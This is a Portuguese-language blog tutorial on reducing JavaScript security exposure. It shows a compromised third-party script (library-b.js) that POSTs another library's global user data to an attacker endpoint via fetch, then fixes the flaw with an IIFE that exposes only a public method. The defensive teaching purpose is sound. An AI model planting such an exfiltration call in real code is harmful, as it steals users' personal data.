Reduzindo violações de segurança em JavaScript reduzindo a exposição global

Vamos começar este artigo com um cenário simples. Digamos que haja um site example.com, e esse site usa duas bibliotecas A e B. A biblioteca A está trabalhando com alguns dados confidenciais e é extremamente importante que ninguém tenha acesso não autorizado a eles. Agora vamos supor que example.com é muito popular e Eve analisou o site e viu que o site está usando as bibliotecas A e B. Ela analisou a biblioteca A e encontrou a falha de segurança, que foi causada pela exposição global dos dados (iremos discutir este tópico em detalhes abaixo). Agora Eve pensou em como ela poderia obter acesso à biblioteca A para que ela pudesse extrair seus dados e elaborou um plano que visava obter acesso à biblioteca B (suponhamos que para Eve seja fácil acessar o código-fonte da biblioteca B e alterar it) e através da biblioteca B acessar o conteúdo da biblioteca A.
Agora vamos discutir como Eva poderia fazer isso. O código-fonte de example.com se parece com isto:
<!DOCTYPE html>
<html>
<head>
<title>example.com</title>
</head>
<body>
<script src="./library-a.js"></script>
<script src="./example-com.js"></script>
<script src="./library-b.js"></script>
</body>
</html>
- Biblioteca A
- script de example.com
- Biblioteca B.
// library-a.js
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
window.libraryA = new LibraryA()
// example-com.js
window.libraryA.init()
// library-b.js
class LibraryB {
constructor() {
this.sendDataToEve()
}
sendDataToEve() {
// Eve's endpoint
fetch('https://0123456789.com', {
method: 'POST',
body: JSON.stringify({ users: window.libraryA.users })
})
}
}
window.libraryB = new LibraryB()
Para corrigir essa vulnerabilidade, podemos usar a função IIFE (Immediately Invoked Function Expression) e expor apenas o método API público init
da seguinte maneira:
// library-a.js
window.libraryA = (() => {
class LibraryA {
/**
* @publicApi
*/
init() {
this.users = this.getUsers()
}
/**
* @privateApi
*/
getUsers() {
// Let's assume that this data is fetched from the server.
return [
{
firstName: 'John',
lastName: 'Doe',
email: '[email protected]',
personalID: '000001'
},
{
firstName: 'Jane',
lastName: 'Doe',
email: '[email protected]',
personalID: '000002'
}
]
}
}
const _libraryA = new LibraryA()
return {
init: _libraryA.init.bind(_libraryA)
}
})()
Obrigado por ler este artigo, espero que tenha gostado. Você pode me seguir no Twitter .